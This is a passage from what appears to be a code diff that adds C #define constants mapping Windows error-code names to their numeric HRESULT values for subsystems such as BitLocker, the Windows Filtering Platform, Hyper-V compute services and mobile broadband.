FVE_E_POLICY_PROHIBITS_SELFSIGNED -2144272250 +#define FVE_E_POLICY_CONFLICT_RO_AND_STARTUP_KEY_REQUIRED -2144272249 +#define FVE_E_CONV_RECOVERY_FAILED -2144272248 +#define FVE_E_VIRTUALIZED_SPACE_TOO_BIG -2144272247 +#define FVE_E_POLICY_CONFLICT_OSV_RP_OFF_ADB_ON -2144272240 +#define FVE_E_POLICY_CONFLICT_FDV_RP_OFF_ADB_ON -2144272239 +#define FVE_E_POLICY_CONFLICT_RDV_RP_OFF_ADB_ON -2144272238 +#define FVE_E_NON_BITLOCKER_KU -2144272237 +#define FVE_E_PRIVATEKEY_AUTH_FAILED -2144272236 +#define FVE_E_REMOVAL_OF_DRA_FAILED -2144272235 +#define FVE_E_OPERATION_NOT_SUPPORTED_ON_VISTA_VOLUME -2144272234 +#define FVE_E_CANT_LOCK_AUTOUNLOCK_ENABLED_VOLUME -2144272233 +#define FVE_E_FIPS_HASH_KDF_NOT_ALLOWED -2144272232 +#define FVE_E_ENH_PIN_INVALID -2144272231 +#define FVE_E_INVALID_PIN_CHARS -2144272230 +#define FVE_E_INVALID_DATUM_TYPE -2144272229 +#define FVE_E_EFI_ONLY -2144272228 +#define FVE_E_MULTIPLE_NKP_CERTS -2144272227 +#define FVE_E_REMOVAL_OF_NKP_FAILED -2144272226 +#define FVE_E_INVALID_NKP_CERT -2144272225 +#define FVE_E_NO_EXISTING_PIN -2144272224 +#define FVE_E_PROTECTOR_CHANGE_PIN_MISMATCH -2144272223 +#define FVE_E_PIN_PROTECTOR_CHANGE_BY_STD_USER_DISALLOWED -2144272222 +#define FVE_E_PROTECTOR_CHANGE_MAX_PIN_CHANGE_ATTEMPTS_REACHED -2144272221 +#define FVE_E_POLICY_PASSPHRASE_REQUIRES_ASCII -2144272220 +#define FVE_E_FULL_ENCRYPTION_NOT_ALLOWED_ON_TP_STORAGE -2144272219 +#define FVE_E_WIPE_NOT_ALLOWED_ON_TP_STORAGE -2144272218 +#define FVE_E_KEY_LENGTH_NOT_SUPPORTED_BY_EDRIVE -2144272217 +#define FVE_E_NO_EXISTING_PASSPHRASE -2144272216 +#define FVE_E_PROTECTOR_CHANGE_PASSPHRASE_MISMATCH -2144272215 +#define FVE_E_PASSPHRASE_TOO_LONG -2144272214 +#define FVE_E_NO_PASSPHRASE_WITH_TPM -2144272213 +#define FVE_E_NO_TPM_WITH_PASSPHRASE -2144272212 +#define FVE_E_NOT_ALLOWED_ON_CSV_STACK -2144272211 +#define FVE_E_NOT_ALLOWED_ON_CLUSTER -2144272210 +#define FVE_E_EDRIVE_NO_FAILOVER_TO_SW -2144272209 +#define FVE_E_EDRIVE_BAND_IN_USE -2144272208 +#define FVE_E_EDRIVE_DISALLOWED_BY_GP -2144272207 +#define FVE_E_EDRIVE_INCOMPATIBLE_VOLUME -2144272206 +#define FVE_E_NOT_ALLOWED_TO_UPGRADE_WHILE_CONVERTING -2144272205 +#define FVE_E_EDRIVE_DV_NOT_SUPPORTED -2144272204 +#define FVE_E_NO_PREBOOT_KEYBOARD_DETECTED -2144272203 +#define FVE_E_NO_PREBOOT_KEYBOARD_OR_WINRE_DETECTED -2144272202 +#define FVE_E_POLICY_REQUIRES_STARTUP_PIN_ON_TOUCH_DEVICE -2144272201 +#define FVE_E_POLICY_REQUIRES_RECOVERY_PASSWORD_ON_TOUCH_DEVICE -2144272200 +#define FVE_E_WIPE_CANCEL_NOT_APPLICABLE -2144272199 +#define FVE_E_SECUREBOOT_DISABLED -2144272198 +#define FVE_E_SECUREBOOT_CONFIGURATION_INVALID -2144272197 +#define FVE_E_EDRIVE_DRY_RUN_FAILED -2144272196 +#define FVE_E_SHADOW_COPY_PRESENT -2144272195 +#define FVE_E_POLICY_INVALID_ENHANCED_BCD_SETTINGS -2144272194 +#define FVE_E_EDRIVE_INCOMPATIBLE_FIRMWARE -2144272193 +#define FVE_E_PROTECTOR_CHANGE_MAX_PASSPHRASE_CHANGE_ATTEMPTS_REACHED -2144272192 +#define FVE_E_PASSPHRASE_PROTECTOR_CHANGE_BY_STD_USER_DISALLOWED -2144272191 +#define FVE_E_LIVEID_ACCOUNT_SUSPENDED -2144272190 +#define FVE_E_LIVEID_ACCOUNT_BLOCKED -2144272189 +#define FVE_E_NOT_PROVISIONED_ON_ALL_VOLUMES -2144272188 +#define FVE_E_DE_FIXED_DATA_NOT_SUPPORTED -2144272187 +#define FVE_E_DE_HARDWARE_NOT_COMPLIANT -2144272186 +#define FVE_E_DE_WINRE_NOT_CONFIGURED -2144272185 +#define FVE_E_DE_PROTECTION_SUSPENDED -2144272184 +#define FVE_E_DE_OS_VOLUME_NOT_PROTECTED -2144272183 +#define FVE_E_DE_DEVICE_LOCKEDOUT -2144272182 +#define FVE_E_DE_PROTECTION_NOT_YET_ENABLED -2144272181 +#define FVE_E_INVALID_PIN_CHARS_DETAILED -2144272180 +#define FVE_E_DEVICE_LOCKOUT_COUNTER_UNAVAILABLE -2144272179 +#define FVE_E_DEVICELOCKOUT_COUNTER_MISMATCH -2144272178 +#define FVE_E_BUFFER_TOO_LARGE -2144272177 +#define FVE_E_NO_SUCH_CAPABILITY_ON_TARGET -2144272176 +#define FVE_E_DE_PREVENTED_FOR_OS -2144272175 +#define FVE_E_DE_VOLUME_OPTED_OUT -2144272174 +#define FVE_E_DE_VOLUME_NOT_SUPPORTED -2144272173 +#define FVE_E_EOW_NOT_SUPPORTED_IN_VERSION -2144272172 +#define FVE_E_ADBACKUP_NOT_ENABLED -2144272171 +#define FVE_E_VOLUME_EXTEND_PREVENTS_EOW_DECRYPT -2144272170 +#define FVE_E_NOT_DE_VOLUME -2144272169 +#define FVE_E_PROTECTION_CANNOT_BE_DISABLED -2144272168 +#define FVE_E_OSV_KSR_NOT_ALLOWED -2144272167 +#define FVE_E_AD_BACKUP_REQUIRED_POLICY_NOT_SET_OS_DRIVE -2144272166 +#define FVE_E_AD_BACKUP_REQUIRED_POLICY_NOT_SET_FIXED_DRIVE -2144272165 +#define FVE_E_AD_BACKUP_REQUIRED_POLICY_NOT_SET_REMOVABLE_DRIVE -2144272164 +#define FVE_E_KEY_ROTATION_NOT_SUPPORTED -2144272163 +#define FVE_E_EXECUTE_REQUEST_SENT_TOO_SOON -2144272162 +#define FVE_E_KEY_ROTATION_NOT_ENABLED -2144272161 +#define FVE_E_DEVICE_NOT_JOINED_AAD -2144272160 +#define FVE_E_AAD_ENDPOINT_BUSY -2144272159 +#define FVE_E_INVALID_NBP_CERT -2144272158 +#define FVE_E_EDRIVE_BAND_ENUMERATION_FAILED -2144272157 +#define FVE_E_POLICY_ON_RDV_EXCLUSION_LIST -2144272156 +#define FVE_E_PREDICTED_TPM_PROTECTOR_NOT_SUPPORTED -2144272155 +#define FVE_E_SETUP_TPM_CALLBACK_NOT_SUPPORTED -2144272154 +#define FVE_E_TPM_CONTEXT_SETUP_NOT_SUPPORTED -2144272153 +#define FVE_E_UPDATE_INVALID_CONFIG -2144272152 +#define FVE_E_AAD_SERVER_FAIL_RETRY_AFTER_AAD -2144272151 +#define FVE_E_AAD_SERVER_FAIL_BACKOFF_AAD -2144272150 +#define FVE_E_DATASET_FULL -2144272149 +#define FVE_E_METADATA_FULL -2144272148 +#define FVE_E_DISCOVERY_VOLUME_NOT_SUPPORTED -2144272147 +#define FVE_E_EXCEED_LIMIT_RP -2144272146 +#define FVE_E_NO_BACKUP_ACCOUNT -2144272145 +#define FVE_E_SUSPEND_PROTECTION_NOT_ALLOWED -2144272144 +#define FVE_E_CANNOT_PREDICT_PCR7 -2144272143 +#define FVE_E_ENTRY_ALREADY_EXISTS -2144272142 +#define FVE_E_ENTRY_NOT_FOUND -2144272141 +#define FVE_E_DATUM_PARTIALLY_INVALID -2144272140 +#define FVE_E_DATASET_TPM_DATUMS_INCONSISTENT -2144272139 +#define FVE_E_SECURE_BOOT_BINDINGS_OUT_OF_SYNC -2144272138 +#define FVE_E_SECURE_BOOT_BINDING_DATA_OUT_OF_SYNC -2144272137 +#define FVE_E_ORPHANED_TPM_BINDING_DATUM -2144272136 +#define FVE_E_BAD_TPM_DATUM_ASSOCIATION -2144272135 +#define FVE_E_FINAL_TPM_PCR_VALUES_MATCH -2144272134 +#define FVE_E_MATCHING_PCRS_TPM_FAILURE -2144272133 +#define FVE_E_BACKUP_CACHE_NOT_ALLOCATED -2144272132 +#define FVE_E_MSA_BACKUP_CACHE_NOT_ALLOCATED -2144272131 +#define FVE_E_AD_BACKUP_CACHE_NOT_ALLOCATED -2144272130 +#define FVE_E_GENERAL_TPM_FAILURE -2144272129 +#define FVE_E_TPM_NONEXISTENT -2144272128 +#define FVE_E_NO_PCR_BOOT_LOCK_BOUNDARY -1070530303 +#define FVE_E_PCR_BOOT_LOCK_BOUNDARY -1070530302 +#define FVE_E_FW_UPDATE_TPM_BINDINGS_NOT_REFRESHED -1070530301 +#define FVE_E_EXCEED_MAX_LIMIT_RP_IN_MEID -1070530300 +#define FVE_E_INVALID_TPM_BINDING_CONFIGURATION -1070530299 +#define FVE_E_TOO_MANY_TPM_BINDINGS -1070530298 +#define FVE_E_TPM_BINDING_ASSOCIATION_FAILURE -1070530297 +#define FVE_E_ORPHANED_PCR_DIGEST_DATUM -1070530296 +#define FVE_E_HW_ACCELERATED_ENCRYPTION_NOT_ALLOWED -1070530295 +#define FVE_E_NO_MATCHING_TPM_BINDINGS -1070530294 +#define FVE_E_TPMPV2_USED_FAILURE -1070530293 +#define FVE_E_NO_TPM_BINDINGS -1070530292 +#define FVE_E_FW_UPDATE_PCRS_BLOCK -1070530290 +#define FVE_E_FW_UPDATE_PCRS_NOT_EXCLUDED -1070530289 +#define FVE_E_DEVICE_NOT_JOINED -2144272112 +#define FVE_E_AAD_SERVER_FAIL_RETRY_AFTER -2144272111 +#define FVE_E_AAD_SERVER_FAIL_BACKOFF -2144272110 +#define FVE_E_FAILED_TO_UNWRAP_HW_WRAPPED_KEY -1070530285 +#define FVE_E_HARDWARE_CRYPTO_ACCELERATOR_NOT_FIPS_COMPLIANT -1070530284 +#define FVE_E_HARDWARE_CRYPTO_KEY_MANAGER_NOT_FIPS_COMPLIANT -1070530283 +#define FVE_E_TPM_PCRS_DO_NOT_MATCH_LOG -1070530282 +#define FWP_E_CALLOUT_NOT_FOUND -2144206847 +#define FWP_E_CONDITION_NOT_FOUND -2144206846 +#define FWP_E_FILTER_NOT_FOUND -2144206845 +#define FWP_E_LAYER_NOT_FOUND -2144206844 +#define FWP_E_PROVIDER_NOT_FOUND -2144206843 +#define FWP_E_PROVIDER_CONTEXT_NOT_FOUND -2144206842 +#define FWP_E_SUBLAYER_NOT_FOUND -2144206841 +#define FWP_E_NOT_FOUND -2144206840 +#define FWP_E_ALREADY_EXISTS -2144206839 +#define FWP_E_IN_USE -2144206838 +#define FWP_E_DYNAMIC_SESSION_IN_PROGRESS -2144206837 +#define FWP_E_WRONG_SESSION -2144206836 +#define FWP_E_NO_TXN_IN_PROGRESS -2144206835 +#define FWP_E_TXN_IN_PROGRESS -2144206834 +#define FWP_E_TXN_ABORTED -2144206833 +#define FWP_E_SESSION_ABORTED -2144206832 +#define FWP_E_INCOMPATIBLE_TXN -2144206831 +#define FWP_E_TIMEOUT -2144206830 +#define FWP_E_NET_EVENTS_DISABLED -2144206829 +#define FWP_E_INCOMPATIBLE_LAYER -2144206828 +#define FWP_E_KM_CLIENTS_ONLY -2144206827 +#define FWP_E_LIFETIME_MISMATCH -2144206826 +#define FWP_E_BUILTIN_OBJECT -2144206825 +#define FWP_E_TOO_MANY_CALLOUTS -2144206824 +#define FWP_E_NOTIFICATION_DROPPED -2144206823 +#define FWP_E_TRAFFIC_MISMATCH -2144206822 +#define FWP_E_INCOMPATIBLE_SA_STATE -2144206821 +#define FWP_E_NULL_POINTER -2144206820 +#define FWP_E_INVALID_ENUMERATOR -2144206819 +#define FWP_E_INVALID_FLAGS -2144206818 +#define FWP_E_INVALID_NET_MASK -2144206817 +#define FWP_E_INVALID_RANGE -2144206816 +#define FWP_E_INVALID_INTERVAL -2144206815 +#define FWP_E_ZERO_LENGTH_ARRAY -2144206814 +#define FWP_E_NULL_DISPLAY_NAME -2144206813 +#define FWP_E_INVALID_ACTION_TYPE -2144206812 +#define FWP_E_INVALID_WEIGHT -2144206811 +#define FWP_E_MATCH_TYPE_MISMATCH -2144206810 +#define FWP_E_TYPE_MISMATCH -2144206809 +#define FWP_E_OUT_OF_BOUNDS -2144206808 +#define FWP_E_RESERVED -2144206807 +#define FWP_E_DUPLICATE_CONDITION -2144206806 +#define FWP_E_DUPLICATE_KEYMOD -2144206805 +#define FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER -2144206804 +#define FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER -2144206803 +#define FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER -2144206802 +#define FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT -2144206801 +#define FWP_E_INCOMPATIBLE_AUTH_METHOD -2144206800 +#define FWP_E_INCOMPATIBLE_DH_GROUP -2144206799 +#define FWP_E_EM_NOT_SUPPORTED -2144206798 +#define FWP_E_NEVER_MATCH -2144206797 +#define FWP_E_PROVIDER_CONTEXT_MISMATCH -2144206796 +#define FWP_E_INVALID_PARAMETER -2144206795 +#define FWP_E_TOO_MANY_SUBLAYERS -2144206794 +#define FWP_E_CALLOUT_NOTIFICATION_FAILED -2144206793 +#define FWP_E_INVALID_AUTH_TRANSFORM -2144206792 +#define FWP_E_INVALID_CIPHER_TRANSFORM -2144206791 +#define FWP_E_INCOMPATIBLE_CIPHER_TRANSFORM -2144206790 +#define FWP_E_INVALID_TRANSFORM_COMBINATION -2144206789 +#define FWP_E_DUPLICATE_AUTH_METHOD -2144206788 +#define FWP_E_INVALID_TUNNEL_ENDPOINT -2144206787 +#define FWP_E_L2_DRIVER_NOT_READY -2144206786 +#define FWP_E_KEY_DICTATOR_ALREADY_REGISTERED -2144206785 +#define FWP_E_KEY_DICTATION_INVALID_KEYING_MATERIAL -2144206784 +#define FWP_E_CONNECTIONS_DISABLED -2144206783 +#define FWP_E_INVALID_DNS_NAME -2144206782 +#define FWP_E_STILL_ON -2144206781 +#define FWP_E_IKEEXT_NOT_RUNNING -2144206780 +#define FWP_E_DROP_NOICMP -2144206588 +#define WS_S_ASYNC 3997696 +#define WS_S_END 3997697 +#define WS_E_INVALID_FORMAT -2143485952 +#define WS_E_OBJECT_FAULTED -2143485951 +#define WS_E_NUMERIC_OVERFLOW -2143485950 +#define WS_E_INVALID_OPERATION -2143485949 +#define WS_E_OPERATION_ABORTED -2143485948 +#define WS_E_ENDPOINT_ACCESS_DENIED -2143485947 +#define WS_E_OPERATION_TIMED_OUT -2143485946 +#define WS_E_OPERATION_ABANDONED -2143485945 +#define WS_E_QUOTA_EXCEEDED -2143485944 +#define WS_E_NO_TRANSLATION_AVAILABLE -2143485943 +#define WS_E_SECURITY_VERIFICATION_FAILURE -2143485942 +#define WS_E_ADDRESS_IN_USE -2143485941 +#define WS_E_ADDRESS_NOT_AVAILABLE -2143485940 +#define WS_E_ENDPOINT_NOT_FOUND -2143485939 +#define WS_E_ENDPOINT_NOT_AVAILABLE -2143485938 +#define WS_E_ENDPOINT_FAILURE -2143485937 +#define WS_E_ENDPOINT_UNREACHABLE -2143485936 +#define WS_E_ENDPOINT_ACTION_NOT_SUPPORTED -2143485935 +#define WS_E_ENDPOINT_TOO_BUSY -2143485934 +#define WS_E_ENDPOINT_FAULT_RECEIVED -2143485933 +#define WS_E_ENDPOINT_DISCONNECTED -2143485932 +#define WS_E_PROXY_FAILURE -2143485931 +#define WS_E_PROXY_ACCESS_DENIED -2143485930 +#define WS_E_NOT_SUPPORTED -2143485929 +#define WS_E_PROXY_REQUIRES_BASIC_AUTH -2143485928 +#define WS_E_PROXY_REQUIRES_DIGEST_AUTH -2143485927 +#define WS_E_PROXY_REQUIRES_NTLM_AUTH -2143485926 +#define WS_E_PROXY_REQUIRES_NEGOTIATE_AUTH -2143485925 +#define WS_E_SERVER_REQUIRES_BASIC_AUTH -2143485924 +#define WS_E_SERVER_REQUIRES_DIGEST_AUTH -2143485923 +#define WS_E_SERVER_REQUIRES_NTLM_AUTH -2143485922 +#define WS_E_SERVER_REQUIRES_NEGOTIATE_AUTH -2143485921 +#define WS_E_INVALID_ENDPOINT_URL -2143485920 +#define WS_E_OTHER -2143485919 +#define WS_E_SECURITY_TOKEN_EXPIRED -2143485918 +#define WS_E_SECURITY_SYSTEM_FAILURE -2143485917 +#define HCS_E_TERMINATED_DURING_START -2143878912 +#define HCS_E_IMAGE_MISMATCH -2143878911 +#define HCS_E_HYPERV_NOT_INSTALLED -2143878910 +#define HCS_E_INVALID_STATE -2143878907 +#define HCS_E_UNEXPECTED_EXIT -2143878906 +#define HCS_E_TERMINATED -2143878905 +#define HCS_E_CONNECT_FAILED -2143878904 +#define HCS_E_CONNECTION_TIMEOUT -2143878903 +#define HCS_E_CONNECTION_CLOSED -2143878902 +#define HCS_E_UNKNOWN_MESSAGE -2143878901 +#define HCS_E_UNSUPPORTED_PROTOCOL_VERSION -2143878900 +#define HCS_E_INVALID_JSON -2143878899 +#define HCS_E_SYSTEM_NOT_FOUND -2143878898 +#define HCS_E_SYSTEM_ALREADY_EXISTS -2143878897 +#define HCS_E_SYSTEM_ALREADY_STOPPED -2143878896 +#define HCS_E_PROTOCOL_ERROR -2143878895 +#define HCS_E_INVALID_LAYER -2143878894 +#define HCS_E_WINDOWS_INSIDER_REQUIRED -2143878893 +#define HCS_E_SERVICE_NOT_AVAILABLE -2143878892 +#define HCS_E_OPERATION_NOT_STARTED -2143878891 +#define HCS_E_OPERATION_ALREADY_STARTED -2143878890 +#define HCS_E_OPERATION_PENDING -2143878889 +#define HCS_E_OPERATION_TIMEOUT -2143878888 +#define HCS_E_OPERATION_SYSTEM_CALLBACK_ALREADY_SET -2143878887 +#define HCS_E_OPERATION_RESULT_ALLOCATION_FAILED -2143878886 +#define HCS_E_ACCESS_DENIED -2143878885 +#define HCS_E_GUEST_CRITICAL_ERROR -2143878884 +#define HCS_E_PROCESS_INFO_NOT_AVAILABLE -2143878883 +#define HCS_E_SERVICE_DISCONNECT -2143878882 +#define HCS_E_PROCESS_ALREADY_STOPPED -2143878881 +#define HCS_E_SYSTEM_NOT_CONFIGURED_FOR_OPERATION -2143878880 +#define HCS_E_OPERATION_ALREADY_CANCELLED -2143878879 +#define WHV_E_UNKNOWN_CAPABILITY -2143878400 +#define WHV_E_INSUFFICIENT_BUFFER -2143878399 +#define WHV_E_UNKNOWN_PROPERTY -2143878398 +#define WHV_E_UNSUPPORTED_HYPERVISOR_CONFIG -2143878397 +#define WHV_E_INVALID_PARTITION_CONFIG -2143878396 +#define WHV_E_GPA_RANGE_NOT_FOUND -2143878395 +#define WHV_E_VP_ALREADY_EXISTS -2143878394 +#define WHV_E_VP_DOES_NOT_EXIST -2143878393 +#define WHV_E_INVALID_VP_STATE -2143878392 +#define WHV_E_INVALID_VP_REGISTER_NAME -2143878391 +#define WHV_E_UNSUPPORTED_PROCESSOR_CONFIG -2143878384 +#define VM_SAVED_STATE_DUMP_E_PARTITION_STATE_NOT_FOUND -1070136064 +#define VM_SAVED_STATE_DUMP_E_GUEST_MEMORY_NOT_FOUND -1070136063 +#define VM_SAVED_STATE_DUMP_E_NO_VP_FOUND_IN_PARTITION_STATE -1070136062 +#define VM_SAVED_STATE_DUMP_E_NESTED_VIRTUALIZATION_NOT_SUPPORTED -1070136061 +#define VM_SAVED_STATE_DUMP_E_WINDOWS_KERNEL_IMAGE_NOT_FOUND -1070136060 +#define VM_SAVED_STATE_DUMP_E_VA_NOT_MAPPED -1070136059 +#define VM_SAVED_STATE_DUMP_E_INVALID_VP_STATE -1070136058 +#define VM_SAVED_STATE_DUMP_E_VP_VTL_NOT_ENABLED -1070136055 +#define ERROR_DM_OPERATION_LIMIT_EXCEEDED -1070135808 +#define VM_E_CLIENT_NAME_REQUIRED -1070135552 +#define VM_E_MODIFY_VTL2_SETTINGS_CONFLICT -1070135551 +#define VM_E_VTL2_NOT_AVAILABLE -1070135550 +#define VM_E_MANAGEMENT_VTL_RELOAD_IN_PROGRESS -1070135296 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_PROTOCOL_RESPONSE -1070135295 +#define VM_E_MANAGEMENT_VTL_RELOAD_SAVE_FAILURE -1070135294 +#define VM_E_MANAGEMENT_VTL_RELOAD_RESTORE_FAILURE -1070135293 +#define VM_E_MANAGEMENT_VTL_RELOAD_NO_SAVED_STATE -1070135292 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_SAVE_NOTIFICATION_RECEIVED -1070135291 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_RESTORE_REQUEST_RECEIVED -1070135290 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_RESTORE_NOTIFICATION_RECEIVED -1070135289 +#define VM_E_MANAGEMENT_VTL_RELOAD_NO_IGVM_FILE -1070135288 +#define VM_E_MANAGEMENT_VTL_RELOAD_UNSUPPORTED -1070135287 +#define VM_E_MANAGEMENT_VTL_PROTOCOL_ESTABLISHMENT_TIMEOUT -1070135286 +#define HCN_E_NETWORK_NOT_FOUND -2143617023 +#define HCN_E_ENDPOINT_NOT_FOUND -2143617022 +#define HCN_E_LAYER_NOT_FOUND -2143617021 +#define HCN_E_SWITCH_NOT_FOUND -2143617020 +#define HCN_E_SUBNET_NOT_FOUND -2143617019 +#define HCN_E_ADAPTER_NOT_FOUND -2143617018 +#define HCN_E_PORT_NOT_FOUND -2143617017 +#define HCN_E_POLICY_NOT_FOUND -2143617016 +#define HCN_E_VFP_PORTSETTING_NOT_FOUND -2143617015 +#define HCN_E_INVALID_NETWORK -2143617014 +#define HCN_E_INVALID_NETWORK_TYPE -2143617013 +#define HCN_E_INVALID_ENDPOINT -2143617012 +#define HCN_E_INVALID_POLICY -2143617011 +#define HCN_E_INVALID_POLICY_TYPE -2143617010 +#define HCN_E_INVALID_REMOTE_ENDPOINT_OPERATION -2143617009 +#define HCN_E_NETWORK_ALREADY_EXISTS -2143617008 +#define HCN_E_LAYER_ALREADY_EXISTS -2143617007 +#define HCN_E_POLICY_ALREADY_EXISTS -2143617006 +#define HCN_E_PORT_ALREADY_EXISTS -2143617005 +#define HCN_E_ENDPOINT_ALREADY_ATTACHED -2143617004 +#define HCN_E_REQUEST_UNSUPPORTED -2143617003 +#define HCN_E_MAPPING_NOT_SUPPORTED -2143617002 +#define HCN_E_DEGRADED_OPERATION -2143617001 +#define HCN_E_SHARED_SWITCH_MODIFICATION -2143617000 +#define HCN_E_GUID_CONVERSION_FAILURE -2143616999 +#define HCN_E_REGKEY_FAILURE -2143616998 +#define HCN_E_INVALID_JSON -2143616997 +#define HCN_E_INVALID_JSON_REFERENCE -2143616996 +#define HCN_E_ENDPOINT_SHARING_DISABLED -2143616995 +#define HCN_E_INVALID_IP -2143616994 +#define HCN_E_SWITCH_EXTENSION_NOT_FOUND -2143616993 +#define HCN_E_MANAGER_STOPPED -2143616992 +#define GCN_E_MODULE_NOT_FOUND -2143616991 +#define GCN_E_NO_REQUEST_HANDLERS -2143616990 +#define GCN_E_REQUEST_UNSUPPORTED -2143616989 +#define GCN_E_RUNTIMEKEYS_FAILED -2143616988 +#define GCN_E_NETADAPTER_TIMEOUT -2143616987 +#define GCN_E_NETADAPTER_NOT_FOUND -2143616986 +#define GCN_E_NETCOMPARTMENT_NOT_FOUND -2143616985 +#define GCN_E_NETINTERFACE_NOT_FOUND -2143616984 +#define GCN_E_DEFAULTNAMESPACE_EXISTS -2143616983 +#define HCN_E_ICS_DISABLED -2143616982 +#define HCN_E_ENDPOINT_NAMESPACE_ALREADY_EXISTS -2143616981 +#define HCN_E_ENTITY_HAS_REFERENCES -2143616980 +#define HCN_E_INVALID_INTERNAL_PORT -2143616979 +#define HCN_E_NAMESPACE_ATTACH_FAILED -2143616978 +#define HCN_E_ADDR_INVALID_OR_RESERVED -2143616977 +#define HCN_E_INVALID_PREFIX -2143616976 +#define HCN_E_OBJECT_USED_AFTER_UNLOAD -2143616975 +#define HCN_E_INVALID_SUBNET -2143616974 +#define HCN_E_INVALID_IP_SUBNET -2143616973 +#define HCN_E_ENDPOINT_NOT_ATTACHED -2143616972 +#define HCN_E_ENDPOINT_NOT_LOCAL -2143616971 +#define HCN_INTERFACEPARAMETERS_ALREADY_APPLIED -2143616970 +#define HCN_E_VFP_NOT_ALLOWED -2143616969 +#define SDIAG_E_CANCELLED -2143551232 +#define SDIAG_E_SCRIPT -2143551231 +#define SDIAG_E_POWERSHELL -2143551230 +#define SDIAG_E_MANAGEDHOST -2143551229 +#define SDIAG_E_NOVERIFIER -2143551228 +#define SDIAG_S_CANNOTRUN 3932421 +#define SDIAG_E_DISABLED -2143551226 +#define SDIAG_E_TRUST -2143551225 +#define SDIAG_E_CANNOTRUN -2143551224 +#define SDIAG_E_VERSION -2143551223 +#define SDIAG_E_RESOURCE -2143551222 +#define SDIAG_E_ROOTCAUSE -2143551221 +#define WPN_E_CHANNEL_CLOSED -2143420160 +#define WPN_E_CHANNEL_REQUEST_NOT_COMPLETE -2143420159 +#define WPN_E_INVALID_APP -2143420158 +#define WPN_E_OUTSTANDING_CHANNEL_REQUEST -2143420157 +#define WPN_E_DUPLICATE_CHANNEL -2143420156 +#define WPN_E_PLATFORM_UNAVAILABLE -2143420155 +#define WPN_E_NOTIFICATION_POSTED -2143420154 +#define WPN_E_NOTIFICATION_HIDDEN -2143420153 +#define WPN_E_NOTIFICATION_NOT_POSTED -2143420152 +#define WPN_E_CLOUD_DISABLED -2143420151 +#define WPN_E_CLOUD_INCAPABLE -2143420144 +#define WPN_E_CLOUD_AUTH_UNAVAILABLE -2143420134 +#define WPN_E_CLOUD_SERVICE_UNAVAILABLE -2143420133 +#define WPN_E_FAILED_LOCK_SCREEN_UPDATE_INTIALIZATION -2143420132 +#define WPN_E_NOTIFICATION_DISABLED -2143420143 +#define WPN_E_NOTIFICATION_INCAPABLE -2143420142 +#define WPN_E_INTERNET_INCAPABLE -2143420141 +#define WPN_E_NOTIFICATION_TYPE_DISABLED -2143420140 +#define WPN_E_NOTIFICATION_SIZE -2143420139 +#define WPN_E_TAG_SIZE -2143420138 +#define WPN_E_ACCESS_DENIED -2143420137 +#define WPN_E_DUPLICATE_REGISTRATION -2143420136 +#define WPN_E_PUSH_NOTIFICATION_INCAPABLE -2143420135 +#define WPN_E_DEV_ID_SIZE -2143420128 +#define WPN_E_TAG_ALPHANUMERIC -2143420118 +#define WPN_E_INVALID_HTTP_STATUS_CODE -2143420117 +#define WPN_E_OUT_OF_SESSION -2143419904 +#define WPN_E_POWER_SAVE -2143419903 +#define WPN_E_IMAGE_NOT_FOUND_IN_CACHE -2143419902 +#define WPN_E_ALL_URL_NOT_COMPLETED -2143419901 +#define WPN_E_INVALID_CLOUD_IMAGE -2143419900 +#define WPN_E_NOTIFICATION_ID_MATCHED -2143419899 +#define WPN_E_CALLBACK_ALREADY_REGISTERED -2143419898 +#define WPN_E_TOAST_NOTIFICATION_DROPPED -2143419897 +#define WPN_E_STORAGE_LOCKED -2143419896 +#define WPN_E_GROUP_SIZE -2143419895 +#define WPN_E_GROUP_ALPHANUMERIC -2143419894 +#define WPN_E_CLOUD_DISABLED_FOR_APP -2143419893 +#define E_MBN_CONTEXT_NOT_ACTIVATED -2141945343 +#define E_MBN_BAD_SIM -2141945342 +#define E_MBN_DATA_CLASS_NOT_AVAILABLE -2141945341 +#define E_MBN_INVALID_ACCESS_STRING -2141945340 +#define E_MBN_MAX_ACTIVATED_CONTEXTS -2141945339 +#define E_MBN_PACKET_SVC_DETACHED -2141945338 +#define E_MBN_PROVIDER_NOT_VISIBLE -2141945337 +#define E_MBN_RADIO_POWER_OFF -2141945336 +#define E_MBN_SERVICE_NOT_ACTIVATED -2141945335 +#define E_MBN_SIM_NOT_INSERTED -2141945334 +#define E_MBN_VOICE_CALL_IN_PROGRESS -2141945333 +#define E_MBN_INVALID_CACHE -2141945332 +#define E_MBN_NOT_REGISTERED -2141945331 +#define E_MBN_PROVIDERS_NOT_FOUND -2141945330 +#define E_MBN_PIN_NOT_SUPPORTED -2141945329 +#define E_MBN_PIN_REQUIRED -2141945328 +#define E_MBN_PIN_DISABLED -2141945327 +#define E_MBN_FAILURE -2141945326 +#define E_MBN_INVALID_PROFILE -2141945320 +#define E_MBN_DEFAULT_PROFILE_EXIST -2141945319 +#define E_MBN_SMS_ENCODING_NOT_SUPPORTED -2141945312 +#define E_MBN_SMS_FILTER_NOT_SUPPORTED -2141945311 +#define E_MBN_SMS_INVALID_MEMORY_INDEX -2141945310 +#define E_MBN_SMS_LANG_NOT_SUPPORTED -2141945309 +#define E_MBN_SMS_MEMORY_FAILURE -2141945308 +#define E_MBN_SMS_NETWORK_TIMEOUT -2141945307 +#define E_MBN_SMS_UNKNOWN_SMSC_ADDRESS -2141945306 +#define E_MBN_SMS_FORMAT_NOT_SUPPORTED -2141945305 +#define E_MBN_SMS_OPERATION_NOT_ALLOWED -2141945304 +#define E_MBN_SMS_MEMORY_FULL -2141945303 +#define PEER_E_IPV6_NOT_INSTALLED -2140995583 +#define PEER_E_NOT_INITIALIZED -2140995582 +#define PEER_E_CANNOT_START_SERVICE -2140995581 +#define PEER_E_NOT_LICENSED -2140995580 +#define PEER_E_INVALID_GRAPH -2140995568 +#define PEER_E_DBNAME_CHANGED -2140995567 +#define PEER_E_DUPLICATE_GRAPH -2140995566 +#define PEER_E_GRAPH_NOT_READY -2140995565 +#define PEER_E_GRAPH_SHUTTING_DOWN -2140995564 +#define PEER_E_GRAPH_IN_USE -2140995563 +#define 